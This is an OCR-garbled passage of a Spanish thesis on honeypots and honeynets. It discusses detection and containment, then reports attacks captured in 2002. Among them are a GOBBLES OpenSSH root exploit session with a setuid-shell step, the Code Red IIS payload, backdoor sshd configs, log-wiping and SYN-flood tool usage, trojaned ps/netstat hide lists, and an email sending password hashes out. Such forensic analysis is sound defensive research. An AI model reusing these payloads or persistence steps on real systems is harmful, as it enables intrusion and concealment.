de deteccion se pueden desarrollar dentro de los honeypots. Los intrusos pueden entonces
contradecir las nuevas medidas, y el ciclo continua. Por ejemplo para identificar remotamente
las mas viejas versiones de honeypot de Honeyd, se tiene que enviar simplemente un paquete
SYN, después el honeypot respondera con un paquete SYN/ACK que no tenga ninguna
opcioén. Sin embargo, si se utilizara Nmap para identificar el mismo honeypot, responderia a
los paquetes SYN con opciones (esto ya fue corregido en la version 0.7 de Honeyd).

Hay dos medidas que se deben tomar en cuenta para tratar este problema. Primero
decidir hasta que punto la deteccion hace que el honeypot disminuya. Si el honeypot puede
proporcionar valor antes de ser detectado, después de ser detectado ya ha realizado su
trabajo. Por ejemplo, se implementa el honeypot en la red para detectar actividad no
autorizada (como explotacién de archivos). El propésito del honeypot ¢s actuar como una
alarma contra ladrones. La opcién es permitir que un intruso entre en su red interna,
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mientras que el honeypot sondea los sistemas vulnerables. En este caso aunque el honeypot
sea identificado ha realizado su trabajo, detectando y alertando de una amenaza. Incluso si
fue detectado minutos después de ser sondeado, el honeypot esta haciendo saber que hay
una amenaza en la red interna, y esta amenaza estd buscando activamente archivos abiertos.
Para otros honeypots la historia es diferente. Por ejemplo, si se estd utilizando Honeynets
para recopilar informacién. Este es un importante punto para decidir que tan importante es
la deteccién, y cuanto tiempo necesita la honeynet para pasar inalvertida.

Si se determina que evitar la deteccién es importante, entonces se debe considerar
arreglos para requisitos particulares. Hay diversos tipos de soluciones honeypot que
se pueden descargar y trabajar con estas. Asi como se puede descargar facilmente las
soluciones, asi también los intrusos pueden descargar copias de la evaluacién o el cddigo
fuente de cualquier cosa disponible publicamente, analizarlo, e identificar firmas. De muchas
maneras, similar a Nmap de Fyodor una herramienta de largo alcance para identificacion
pasiva de sistemas operativos remotos, cada sistema operativo tiene caracteristicas unicas.
Para contradecir esto es necesario modificar el honeypot con caracteristicas particulares,
cambiar el comportamiento por defecto, es potencialmente mas dificil que los intrusos lo
identifiquen. Por ejemplo, si se utiliza la herramienta de Honeyd para Linuz, v no se desea
utilizar los archivos por defecto de honeyd.conf para ambientes de produccién. En lugar de
esto, modifique el comportamiento de sus plantillas para adaptarse al ambiente. Usuarios
mas avanzados pueden modificar el cédigo fuente, para cambiar la creacion de paquetes.
Cueste lo que cueste, los intrusos pueden buscar un tipo especifico de comportamiento
sabido del honeypot. Se debe ayudar a reducir al minimo la ocasién de deteccion si el
honeypot se comporta o reacciona de la manera como los intrusos lo esperan.

4.4. Explotacion de Honeypots

Cualquier cosa codificada por seres humanos puede ser comprometida. Por anos esto ha
sido verdad para muchas aplicaciones como firewalls, servidores web o browsers. Siempre que
se libera una nueva aplicacion, se puede contar con huecos o reportes de vulnerabilidades.
Los honeypots no son diferentes. Se tiene que asumir esto para cada honeypot liberado.
hay vulnerabilidades conocidas en esos sistemas. Como en cualquier otra tecnologia de
seguridad, se deben tomar medidas para proteger contra ataques desconocidos. Con los
honeypots de baja interaccion, el riesgo es limitado ya que hay tinicamente servicios
emulados con los que los intrusos interactien, estos no proporcionan servicios verdaderos
para acceder. Sin embargo, se debe asumir que un intruso puede “puentear” los ambientes
controlados de los servicios emulados y mientras tanto se debe hacer todo lo posible por
asegurar el honeypot. Para los honeypots de baja interaccion W32 tales como KFSensor, se
quiere construir un sistema seguro con las ultimas actualizaciones, inhabilitando todos los
servicios. Quiza incluso se instale un Firewall basado en host, uno que permita conexiones
de entrada a cualquier puerto y que el honeypot esté supervisando y solamente bloquee el
resto de conexiones de entrada. Méds importante es hacer que el Firewall bloquee y alerte
de cualquier conexién de salida iniciada, para ayudar a proteger contra amenazas una vez
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que el honeypot ha sido comprometido. Para los honeypots de baja interaccién en Unix se
pueden tomar mayores medidas. Chroot() es una manera general de mejorar la contencién
contra procesos atacados en un sistema Unix. Jail() (sobre FreeBSD) propone una manera
verdadera de restringir los procesos. Los parches del kernel como Systrace (control de acceso
direccional basado en procesos) o Grsecurity (control de acceso, protecciéon de espacio de
direccién, ete, obligadamente basados en procesos) u otros tales como SE Linuz se deben
utilizar en honeypots de baja interaccion para ayudar a proteger contra ataques conocidos
v desconocidos. s

Para los honeypots de alta interaccién, el problema es mds desafiante. Estas soluciones
proporcionan el sistema operativo y los usos verdaderos para que los infrusos trabajen
con ellos, por consecuencia tienen mayor riesgo. Se espera que un par de los intrusos
obtengan el control de privilegios de los honeypots. Esto significa que las medidas de control
externas v de datos tienen que ser colocadas en su lugar, tal como un IPS (Sistema de
Prevencién de Intrusiones) o limitar el ancho de banda. En casos tales como honeynets,
hay dos medidas que se deben tomar. Primero, utilizar varias capas de control. Esto
evita el tener riesgo de un solo punto de falla. El segundo es intervencién humana, los
honeypots de alta interaccion deben ser supervisados de cerca. Si en cualquier momento hay
actividad anémala en el sistema (una conexién de salida, descarga de archivos, actividad
reciente del sistema, nuevos procesos, conexiones del sistema, etc) un ser humano debe
entonces supervisar todo lo que suceda en el sistema. Siempre que cualquier accién de
un intruso excede el umbral de riesgo (como intentar un ataque de salida), se podria
terminar la conexién de salida del intruso haciendo caer los paquetes, y volver a dirigir las
conexiones hacia él. La ventaja de la supervision en tiempo real es que se puede identificar
potencialmente la actividad ya que mecanismos automatizados pueden fallar. Esto tam-
bién proporciona un control remoto sobre lo que hace el intruso y como responde el honeypot.

4.5. Atacando a host cliente

Este es el eslab6n mas duro de romper, en parte por que apenas es una posibilidad
téenica. Uno de los desafios mas grandes de los honeypots es como pueden ser desplegados
para detectar, identificar y para capturar la actividades de amenazas especificas, internas y
externas a una compania. Piense en el desplegado de honeypots de manera similar a la pesca.
Tradicionalmente, la mayoria de los despliegues del honeypot se han centrado en un objetivo
especifico, en lugar de ser sistemas comunes desplegados en redes externas. Esto es similar
a la pesca en cualquier lago, lanzan un arpon con un gusano ordinario en el, y estara feliz
con lo que se pesque. En la mayoria de los casos estos pescados han sido los intrusos que
se centran en flancos de oportunidad, sondeando e irrumpiendo en tantos sistemas como
puedan encontrar, utilizando a menudo herramientas automatizadas. Estas amenazas son
relativamente faciles de capturar con los honeypots, pues son altamente activas, atacaran
cualquier cosa que tenga una direccion IP, y no pasan mas del tiempo posible para ver si
estan interactuando con un honeypot.
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Los honeypots tienen el potencial de capturar pescados mds grandes. Las organiza-
ciones no pueden enfocarse solo en ataques automatizados o comunes, deben combatir a
intrusos avanzados que se dirijan a sistemas de misién critica, a los empleados que roban
y venden informacién confidencial. Para que los honeypots capturen tales amenazas, los
honeypots tienen que ser dirigidos para cada amenaza individual, se necesita carnada
y la ubicacién apropiada. Cuando se estan pescando peces de gran tamano no se tira
simplemente el gancho y se utiliza un gusane de charco comin. En lugar de esto se viaja
a Mazatldn durante la temporada de pesca del Marlin. La misma analogia se utiliza
para los intrusos mas avanzados. Los honeypots tienen que ser situados en la ubicacién
apropiada, en el tiempo apropiado y con la carnada correcta. Para esto tales honeypots
tienen que ser modificados para los requisitos particulares a la amenaza especifica, un
trabajo mucho mas dificil de hacer. Por ejemplo, si el crimen organizado irrumpe dentro
de un sitio de z-commerce, lanzar un honeypot con Red Hat instalado por defecto en la
red externa no es lo mas adecuado para capturar esta actividad. Si se quiere capturar
los ultimos ataques o exploits, se necesitan fuentes de valor, tales como un honeypot
CVS, que dard al intruso un alto ROI (Vuelta de Inversién) para su nuevo ataque.
Para las amenazas internas, se necesitan honeypots que tienen un valor ya inicializado,
tal como honeupots que parezcan ser bases de datos de investigacion y desarrollo. Para
ir después a una amenaza especifica, el honeypot tiene que ser dirigido a esto en lo individual.

4.5.1. Conclusiones

La eficacia de la tecnologia honeypot existe solamente mientras los oponentes al propésito
del honeypot no puedan examinar los funcionamientos de las tecnologias de monitoreo
y control. Esencialmente, las tecnologias honeypot deben seguir siendo secretas para que
sean efectivas en su campo. Esto imposibilita la opcién de tener un discurso abierto de
la tecnologia, de confianza que incluso los miembros de la honeynet Research Alliance no
puedan infiltrar estos en honeypots warez a sus amigos back hat.

Por otra parte, sin tecnologia abierta, el desarrollo de los honeypots se atascaria, no se
darfa ninguna atencién de los medios a las falsas profecias del la tecnologia honeypot, y los
contratos lucrativos no se materializarian.

En cualquier circunstancia, la tecnologia Honeypot esta demasiado lejos de madurar para
ser considerada seriamente para el despliegue verdadero por cualquier persona o cualquier
otro académico y refigurado .Com.

Los honeypots tienen un enorme potencial para la comunidad de seguridad y pueden
lograr objetivos como pocas tecnologias. Como cualquier nueva tecnologia, tiene algunos
desafios que superar. No se solucionaran probablemente ni serdn eliminados algunos de estos
problemas totalmente. Sin embargo, se esperan ver préximamente muchos nuevos progresos
que ayuden a manejarlos y otras ediciones.
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Capitulo 5

Resultados

En el presente capitulo se analizardn los ataques que fueron registrados por la imple-
mentacion de Honetpot-DSC'y Honeynet-DSC. Se presentan algunas conclusiones y se finaliza
con los trabajos que quedan pendientes, ya que este tipo de fecnologias ain se encuentran
en desarrollo por lo cual ain queda mucho trabajo por realizar.

5.1. Resultados Honeypot-DSC

Durante el periodo los 6 meses que estuvo funcionando el honeypot solo se detectaron
escaneos al servidor pero desgraciadamente no se presentd ningun ataque; es aqui donde se
entiende la desventaja de los honeypots que dice: “no tiene ningin valor si no es atacado”,
pero no se ha perdido el entusiasmo de que tenga éxito, solo resta permanecer alerta de
cualquier actividad sospechosa.

Por lo pronto durante las pruebas realizadas se pudo observar el funcionamiento del
exploit desarrollado por el equipo de GOBBLES®.

SSH-1.99-OpenSSH_3.2
S5H-2.0-GOBBLES
=diffie-hellman-group-exchange-shal,diffie-hellman-groupi-shal
BNOD*GODBBLE=*
uname -a;id
OpenBSD spider 3.1 GENERIC#59 1386
uid=0(root) gid=0(wheel) groups=0(wheel)
7:21PM up 2 days, 5:01, 0 users, load averages: 0.18, 0.11, 0.09

USER TTY FROM LOGING IDLE WHAT
last -10
user ttypl 192.168.XX. XX Tue Sep 3 14:52 - 14:52 (00:00)

wtmp begins Fri Aug 30 22:21 2002

cat /etc/master.passwd

root: $2a8088QRVEMCmkD54hy567CES8qDuCzs1/v/1jGlelEIX8BVACmePSakpyCr0:0: 0 :daemon:0: 0
:Charlie &:/root:/bin/sh

cp /bin/sh /tmp;cd /tmp ;1s M-"Vla; chmod +s sh;mv sh .X11-lock;su user;./.X11-1
ock

exit

'GOBBLES es un grupo de intrusos, para nayor informacién consultar:
http:/ fwww. asmmunitysec.com/GOBBLES/
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Como se puede apreciar al ejecutar el ezploit se logra penetrar al sistema vulnerable y
posteriormente es posible registrar los comandos ejecutados y sus respectivas salidas, esta
informacién sera de gran utilidad cuando se realize un ataque al sistema.

5.2. Resultados Honeynet-DSC

Cabe senalar que el primer ataque fue llevado a cabo apenas en algunas horas después
que la Honeynet fue puesta en marcha, por lo que se proyecta con buenos resultados a futuro.

5.2.1. Primer Ataque

A continuacién se muestran los registros obtenidos por el Sistema Detector de Intrusos.
En este se pueden observar varios ataques dirigidos hacia los honeypots de la honeynet,
algunos de estos no fueron exitosos, pero en cambio se puede observar la agresividad de
estos en el nimero de intentos.

Firma Total | Origen | Destino | Primer Ultimo
Ataque Ataque
ICMP 34479 | 5568 1 2002-09-07 | 2002-09-09
Destination (98 %) 10:45:11 08:48:19
Unreachable
(Communication
Administratively
Prohibited)
ICMP 756 104 1 2002-09-07 | 2002-09-09
Destination (2%) 10:53:58 08:44:13
Unreachable
(Communication
with
Destination
Host is
Administratively
Prohibited)
ATTACK 5 1 4 2002-09-07 | 2002-09-08
RESPONSES (0%) 18:41:24 13:02:58
id check
returned root

]
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Firma

Total

Origen

Destino

Primer
Ataque

Ultimo
Ataque

[CMP
Destination
Unreachable
(Communication
with

Destination
Network is
Administratively
Prohibited)

30
(0%)

1

2002-09-07
21:43:59

2002-09-09
06:46:06

spp streamd4:
STEALTH
ACTIVITY
(NULL scan)
detection
Prohibited)

(0%)

2002-09-08
03:41:30-05

2002-09-08
15:30:37-05

spp stream4:
STEALTH
ACTIVITY
(nmap XMAS
scan)
detection
Prohibited)

(0%)

2002-09-08
16:48:47

2002-09-08
16:48:47

spp streamd:
NMAP
FINGERPRINT
(stateful)
detection
Prohibited)

(0%)

2002-09-08
16:48:47

2002-09-08
16:48:47

[CMP
Destination
Unreachable
(Communication
Administratively

Prohibited)

2561
(99 %)

992

2002-09-07
04:31:15

2002-09-07
10:30:16
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Firma Total | Origen | Destino | Primer Ultimo
Ataque Ataque
ICMP 30 /3 1 2002-09-07 | 2002-09-07
Destination (1%) 04:35:29 10:02:42
Unreachable
(Communication
with
Destination
Host is
Administratively
Prohibited)
ICMP 5 2 1 2002-09-07 | 2002-09-07
Destination (0%) 05:19:43 10:17:17
Unreachable
(Communication
with
Destination
Network is
Administratively
Prohibited)

Como se puede apreciar en los cuadros anteriores se tuvo mucha actividad de red después
que el ataque fue perpretado, el cédigo que tenian estos paquetes de red que se dirigieron
hacia el honeypot era el siguiente:

/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNuS090%u68
58%ucbd3%u7801%u9090%u6858%ucbd3’u78014u90904u6858%uchbd3’u7801%u9090%u9090%us1
90%u00e3%u0003%u8b00%ub31bYus3ffYu0078%u00=a HTTP/.1.0

En base a esta informacién se determiné que sistema Windows 2000 Advanced Server
fue comprometido por el ataque del Gusano Cédigo Rojo “CODE-RED".

Este gusano intenté modificar la padgina web del servidor, estos intentos no tuvieron éxito
debido a que en ese momento aiin no contaba con una péagina por default. El siguiente codigo
HTML se intenté agregar como péagina principal:
<html><head><meta http-equiv=''Content-Type'' content='’text/html;
charset=Eglish’’><title>HELLO!</title></head><bady><hr size=5>

<font color='’'red’’><align=’’center’’>Welcome to http://www.worm.com !<br>
<br>Hacked By Chinese!</font></hr></bady></html>

El gusano procedié a atacar otros dominios una vez que se instalé asi mismo en el
honeypot, pero estos escaneos fueron bloqueados por mecanismos de control de la honeynet.

2Gusano Cédigo Rojo es descrito en el siguiente  boletin de seguridad del CERT:
http:/ /www.cert.orq/advisories/CA-2001-19.html
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5.2.2. Segundo Ataque

El segundo ataque logré romper la estadistica del tiempo estimado de un ataque para un
sistema operativo Red Hat 6.2, que es de 74 horas, ya que el honeypot con este sistema fue
comprometido en menos de 48 horas, lo cual es un éxito para la investigacion de amenazas,
a continuacion de describirdn los resultados del analisis aplicado a dicho sistema:

Puertos abiertos

Al realizar una verificacién de los puertos abiertos en el sistema honeypot Linuzr Red Hat
6.2, se localizaron varios puertos que no se encontraban abiertos cuando la honeynet fue
puesta en marcha, estos puertos se pueden observar en el cuadro siguiente:

Puerto Estado | Servicio
21/tep Abierto | ftp

23 /tep Abierto | telnet
25/tep Abierto | smtp
79/tcp Abierto | finger
80/tcp Abierto | http
98/tcp Abierto | linuxconf
111 /tep Abierto | sunrpc
113 /tep Abierto | auth
513/tep Abierto | login

514 /tcp Abierto | shell
515/tep Abierto | printer
931/tcp Abierto | unknown
1024/tcp | Abierto | kdm
1488 /tcp | Abierto | docstor
2001 /tcp | Abierto | dc
6000/tcp | Abierto | X11
7000/tcp | Abierto | afs3-fileserver

Como se puede apreciar en el cuadro anterior los puertos 1488 (doestor), 2001 (de¢) y
7000 (afs3-fileserver) fueron abiertos por el intruso.

Conexiones

Dentro del sistema de bitdcoras se localizan varias conexiones al puerto de ftp,
probablemente en este puerto fue encontrada alguna vulnerabilidad y probablemente fue
este el puerto explotado.

Se puede observar que el sistema mantiene 5 conexiones de ftp. Por lo cual el intruso
cuntinuaba en sesion en ese momento. Se puede apreciar esto al observar en la Ineas siguientes
la expresion still loggerd wn.
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ftp ftpd5738 211.227.106.10 Sun Sep 8 17:53 still logged in
ftp ftpd56TT7 212.212.6.230 Sun Sep 8 14:06 still logged in
ftp ftpd5302 210.103.80.10 Sun Sep 8 05:41 still logged in
ftp fupd5292 211.5656.76.217 Sun Sep 8 05:36 still logged in
ftp ftpd2430 212.212.6.230 Sat Sep 7 23:32 still logged in
ftp ftpd1092 virus.iimatercu. Tue Sep 3 07:24 - 07:32 (00:07)
Usuarios

Al revisar la base de datos de los usuarios del sistema se localizé un nuevo usuario en el
sistema.

we:ix:501:501:;: /home/wc: /bin/bash

Procesos

En los procesos se encontr6 la ejecucion de un proceso de Secure Shell el cual no se
encontraba al configurar el honeypot.

root 5913 0.0 0.0 1588 0 7 SWSep 8 0:11 [sshd]

El cual tiene su archivo de inicializacién en los runlevels® de sistema, para que sea ejecu-
tado cada vez que el sistema sea inicializado.

/etc/rc.d/rec3.d/S55sshd
#!/bin/bash

Init file for OpenSSH server daemon

chkconfig: 2345 55 25
description: OpenSSH server daemon

processname: sshd

config: /etc/ssh/ssh_host_key
config: /etc/ssh/ssh_host_key.pub
config: /etc/ssh/ssh_random_seed
config: /etc/ssh/sshd_config
pidfile: /var/run/sshd.pid

R G

*®

source function library
. /etc/rc.d/init.d/functions

Su archivo de configuraciéon se encuentra en /etc/ssh/

/etc/ssh/sshd_config
# This is ssh server systemwide configuration file.

Port 2002

ListenAddress 0.0.0.0

HostKey /etc/ssh_host_key
RandomSeed /etc/ssh_random_seed
ServerKeyBits 768
LoginCGraceTime 600
KeyRegenerationInterval 3600

$Niveles de ejecucién del sistema operativo
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PermitRootLogin yes
IgnoreRhosts no

StrictModes yes

QuietMode no

X1iForwarding yes
X11DisplayDffset 10
FascistLogging no

PrintMotd yes

KeepAlive yes
SyslogFacility DAEMON
RhostsAuthentication no
RhostsRSAAuthentication yes
R3AAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no

# CheckMail no

# PidFile /u/zappa/.ssh/pid
# AllowHosts =*.our.com friend.other.com
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022

# SilentDeny yes

Se puede ver que este es el servicio que se encuentra ejecutando en el puerto 2001,

Otro archivo de configuracién de ssh fue localizado en /lib/security/.config/ssh/

/lib/security/.config/ssh/sshd_config
Port 7000

ListenAddress 0.0.0.0
ServerKeyBits 768
LoginCGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no

StrictModes yes

QuietMode no

X11Forvarding no
X11DisplayDffset 10
FascistLogging no

PrintMotd yes

KeepAlive yes
SyslogFacility DAEMON
RhostsAuthentication no
RhostsRSAAuthentication yes
RSAAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UselLogin no

Como se puede observar este servicio se encuentra en ejecucion en el puerto 7000, por lo
que es el encargado de ejecutar el puerto 7000 en el sistema. Esto se observa en la segunda
linea del listado anterior Port 7000.

Paquetes Instalados

Fue detectado en el directorio /etc/ppp un directorio llamado p el cual contiene un
servidor de irc (Internet Relay Channel) llamado psyBNC 2.1.

/etc/ppp/p/
total 628
N 3" [ B 1 503 503 10646 Jun 2 2000 CHANGES
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B 1 503 503 17982 May 156 1997 COPYING

-rw-r--r-— 1 503 503 2358 Jun 2 2000 FAQ

e 1 Satey Saie 1 503 503 2461 Dec 4 1999 Makefile

-rw-r--r-- 1 503 503 24589 Jan 23 2000 README

-ru-r--r-- 1 503 503 1271 Jun 2 2000 TODD

=g ———— 1 root root 401 Sep 9 08:44 USER1.INI

S 0 et 1 root root 0 Sep 9 07:10 USER1.TRL

=pu==e~==—= 1 §03 503 354 Dec 15 1999 config.h

druxr-xr-x 2 503 503 4096 Dec 4 1999 help

=IH=————— 1 503 503 611 Dec 15 1999 makefile.freebsd

e ——— 1 503 503 599 Dec 19 1899 makefile.freebsd.sparc
T 1 503 503 609 Dec 156 1999 makefile.linux
e 1 503 503 589 Dec 19 1999 makefile.linux.sparc
—gg-————= 1 503 503 638 Dec 4 1999 makefile.solaris
“Pm—— 1 503 503 626 Dec 19 1999 makefile.solaris.sparc
—pR—————— 1 503 503 625 Dec 156 1999 makefile.sunos
Tue=mss=s 1 B0 503 605 Dec 19 1999 makefile.sunos.sparc
-rwxrwxr-x 1 503 503 5796 Oct 7 2000 makesalt

~IWATWXT-X 1 503 503 477328 Oct 7 2000 p

-rv-r--r-— 1 503 503 4 Nov 27 1999 psbne.hosts
“rw--—--== 1 503 503 57 May 12 2001 psbnc.ini

B 4 1 root root 4152 Sep 9 09:00 psbnc.log

= ——— 1 root root 5 Sep 9 07:08 psbnc.pid

“IW-r¥-r-- 1 503 503 1441 Dct T 2000 salt.h

drwxr-xr-x 2 503 503 4096 Oct 7 2000 src

SR —— 1 503 503 3027 Dec 4 1999 targets.mak

En el directorio /lib/ldd.so fue detectado un sniffer llamado linsniffer el cual es utilizado
para espiar en sesiones telnet.
/1ib/1dd.so/tkp
#!/usr/bin/perl
# hdlp2 version 2.05 by JaV <jav@xy.org>
# Use this software in responsible manner, ie: not for any illegal actioms etc.
# The author can NOT be held responsible for what people do with the script.
# (c) 1997-1998 JaV <jav@xy.org>

All rights reserved.
# However, you may improve, rewrite etc. - but give credit. (and give me a copy :) )

It

# Sorts the output from LinSniffer 0.666 by hubmle of rhino9 (which is
# based on LinSniffer 0.03 [BETA] by Mike Edulla <medulla@infosoc.com> )

# Check out hdgy2 (for linsniffer 0.666) by JaV. <= A
# It tires to retrive "interesting" things that users <=D
# did in there telnet sessions! <=
v
# It saves you the trouble from looking through the file <= E
# all by yourself ;) <= R
# If you have any suggestions for it, please mail me. <=T

# (note: hdgy2 will soon be released, I think..)

El archivo de configuracion que ejecuta el socket por el cual escucha el sniffer fue
localizado en /lib/ldd.so/.

/lib/1ldd.so/tksb

#!/bin/bash

#

# sauber - by socked [11.02.99]
#

# Usage: sauber <string>
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BLK=""
RED=""
GRN="’
YEL="?
BLU=""
MAG=""*
CYN.]]
HHI:I 1
DRED:JI
DGRN="?
DYEL=""
DBLU=""’
DMAG=""
DCYN=""
DWHI=""
RES='"

Ademas fue localizado un script dentro de /usr/bin que se encarga de eliminar los
registros de un usuario en el sistema de bitdacoras.

fusr/bin/wp
USAGE: wipe [ ulwllla ] ...optiens...
UTMP editing:
Erase all usernames ] wipe u [username]
Erase one username on tty: wipe u [username] [tty]
WTMP editing:
Erase last entry for user : wipe w [username]
Erase last entry on tty : wipe w [username] [tty]

LASTLOG editing:
Blank lastlog for user 1 wipe 1 [username]
Alter lastlog entry 3 wipe 1 [username] [tty] [time] [host]
Where [time] is in the format [YYMMddhhmm]

También se localiza un seript que se encarga de realizar escaneos a otras redes.

/usr/bin/imp --help
imp.c (v.331) by sinkhole - Proof of Concept for private educational use only
-PRIVATE- REGISTERED FOR: pnt

WARNING: Using this program on public networks

is HIGHLY illegal and they WILL find you and put
you in jail. The author is no way responsible for
your actions. Keep this one to your local network!

Usage: /usr/bin/imp <src ip block> <dst computer> <begin port> <end port> <type>
[seconds to run for]

src ip block = a block of computers, ie: 10.32.8 (put 0 for random)
-Note: random only works on misconfigured networks now-a-days.

dst computer = computer to receive the packets.

begin port = port to begin flooding, ie: 1

end port = last port to flood, ie: 150

types = 1=SYN 2=ACK 3=FIN 4=RST

seconds to run = If not specified it will run until killed.

Ie: /usr/bin/imp 10.223 10.2.0.1 1 150 1 30

Archivos Troyanos

El binario de netstat fue troyanizado por lo cual no muestra algunas conexiones. El archivo
de configuracion del netstat troyano contiene los segmentos de red que no son mostrados a la
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salida de este comando, asi como aquellos puertos que no debera mostrar y que se encuentren
escuchando.

[root@sidra /root]# more /usr/include/hosts.h
64.228
199

64

T000
T000
6667
BEET
64.220
7000
7000
62.220
212.110
195.26

Bl b WK B W W RN

El binario de ps fue troyanizado por lo cual no muestra algunos procesos en ejecucion.
El archivo de configuracién del ps troyano contiene los nombres de los procesos que no son
mostrados a la salida de este comando.

[root@sidra /root]# more /usr/include/proc.h
eggdrop
bnc
psyBNC
sh-fORCE
SH-fORCE
synscan
setup
in.inetd
tk

xntps
SH-f0ORCE
sh-f0ORCE
psyBNC
eggdrop
t0rn
torn
tornkit

W W wwwWwwww wwww

Correo electrénico
Dentro del sistema comprometido fue enviado el siguiente correo electrénico:

by sidra.super.unam.mx (8.9.3/8.9.3) id SAA06101
for catzyc@tvs.com; Sun, 8 Sep 2002 18:15:17 -0500
Date: Sun, 8 Sep 2002 18:15:17 -0500
From: root <root>
Message-Id: <200209082315.SAA06101@sidra.super.unam.mx>
To; catzyc@tvs.com
Subject: r00t la 1481

Network info:

Hostname : sidra.super.unam.mx (192.168.109.118)

Alternative IP : 192.168.109.118

Host : sidra

Distro: Red Hat Linux release 6.2 (Zoot)

Uname -a

Linux sidra 2.2,14-5.0 #1 Tue Mar 7 20:53:41 EST 2000 i586 unknown
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Uptime
6:13pm up 1 day, 2:24, 0 users, load average: 0.00, 0.00, 0.01
Pud
/usr/bin/kin
1D
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)

Yahoo.com ping:
PING 216.115.108.243 (216.115.108.243) from 192.168.109.118 : 56(84) bytes of data.

--= 216.115.108.243 ping statistics ---
6 packets transmitted, 0 packets received, 100% packet loss

Hw info:

CPU Speed: 132.634609MHz

CPU Vendor: vendor_id : Genuinelntel

CPU Model: model name : Pentium 75 - 200

RAM: 17 Mb

HDD(s) :

Filesystem Type Size Used Avail Use), Mounted on
/dev/hdal ext2 603M 44M ©528M 8% /
/dev/hdb1 ext2 197M  40M 147M 21Y% /home
/dev/hdcl ext2 315M 297M 1.8M 99% /usr

Ports open:

/etc/passwd & /etc/shadow

/etc/passwd

root:x:0:0:root:/rooct:/bin/bash
bin:x:1:1:bin:/bin:

d 1ixs2:i2:d :/sbin:

adm:x:3:4:adm: /var/adm:
lp:x:4:7:1p:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/nevs:
uucp:x:10:14:uucp: /var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games: /usr/games:
gopher:x:13:30: gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99: Nobody:/:

xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
user:x:500:500:User: /home/user: /bin/bash

/etc/shadow
root:$1$knRafqS$UkECYBhTRbAHDpBan . Sam0: 11898:0:99999:7:-1:-1:134540356
bin:+:11898:0:99999:7:::
daemon:*:11898:0:999989:7:::
adm:*:11898:0:99989:7:::
lp:#:11888:0:99999:7:::
sync:*:11898:0:99999:7: ::
shutdown:*:11898:0:99999:7:::
halt:=:11898:0:99999:7:::
mail:*;11898:0:99999:7:::
news:*:11898:0:99999:7:::
uucp:#:11898:0:99999:7:::
operator:*:11898:0:99999:7:::
games:*:11898:0:99999:7:::
gopher:+:11898:0:99999:7:::
ftp:*:11898:0:99999:7:::
nobody:*:11898:0:99999:7:::
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xfs:11:11898:0:99999:7:::
user:$1$xqCPLVo/$XF yK6RU2D4nEw/h/XcBw9. :11918:0:99999:7:-1:-1:134540332

interesting filez:

Como se puede observar el listado del correo electrénico anterior, envia todo un anélisis
del sistema comprometido avisando al intruso que el ataque tuvo éxito.

5.2.3. Sistema de bitacoras

Dentro del sistema de bitdacoras se localizan algunas direcciones IPs, probablemente desde
estas fue lanzado el ataque.

firefox.jnlilfd.gr.jp => sidra.honeyred.unam.mx [23]
firefox.jnllfd.gr.jp => sidra.honeyred.unam.mx [513]
firefox.jnllfd.gr.jp => sidra.honeyred.unam.mx [21]
203.91.132.10 => sidra.honeyred.unam.mx [21]
212,212.6.230 => sidra,honeyred.unam.mx [21]
212.212.6.230 => sidra.honeyred.unam.mx [21]

El sistema de registro fue troyanizado.

/etc/re.d/init.d/syslog

#!/bin/sh

#

# syslog Starts syslogd/klogd.

#

#

# chkconfig: 2345 12 88

# description: Syslog is the facility by which many daemons use to log \
# messages to various system log files. It is a good idea to always \
# run syslog.

Fue colocads el secure shell troyano en los runlevels para su ejecucion al iniciar el sistema.

/ete/rc.d/init.d/functions

#!/bin/sh

#

# functions This file contains functions to be used by most or all
# shell scripts in the /etc/init.d directory.

#

# Version: @(#) /etc/init.d/functions 1.01 26-0ct-1993

#

# Author: Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>

# Hacked by: Greg Galloway and Marc Ewing

Fue colocado un calendarizador de tareas at para ejecutarse al momento de iniciar el
sistema.

/etc/rc.d/init.d/atd
#!/bin/bash

#

# /etc/re.d/init.d/atd
#

# Starts the at daemon

#

# chkconfig: 345 40 60
# description: Runs commands scheduled by the at command at the time \
# specified when at was run, and runs batch commands when the load \
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# average is low enough.
# processname: atd

# Source function library.
. /etc/rec.d/init.d/functions

Son ejecutados algunos servicios de red adicionales al momento de iniciar el sistema.

/ete/rc.d/init.d/inet
#! /bin/sh
#
inet Start TCP/IP networking services. This script
sets the hostname, creates the routes and
starts the Internet Network Daemon & RPC portmapper.

Author: Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
Various folks at Red Hat

#
#
#
#
#
#
#
# chkconfig: 345 50 50

# description: The internet superserver daemon (commonly called inetd) \

# starts a variety of other internet services as needed. It \

# is responsible for starting many services, including telnet, \
# ftp, rsh, and rlogin. Disabling inetd disables all of the \

# services it is responsible for.
# processname: inetd
# pidfile: /var/run/inetd.pid
# config: /etc/sysconfig/metwork
# config: /etc/inetd.conf

# Source function library.
. /etc/rc.d/init.d/functions

/etc/rc.d/re.sysinit

#!/bin/sh

#

# /etc/rc.d/rc.sysinit - run once at boot time

#

# Taken in part from Miguel van Smoorenburg's bcheckrc.
#

Se localizan las siguientes conexiones en las bitdcoras del sistema.

Sep 7 23:33:18 sidra,super.unam.mx ftpd[2430): ANONYMOUS FTP LOGIN FROM 212.212.6.230
[212.212.6.230], mozilla®

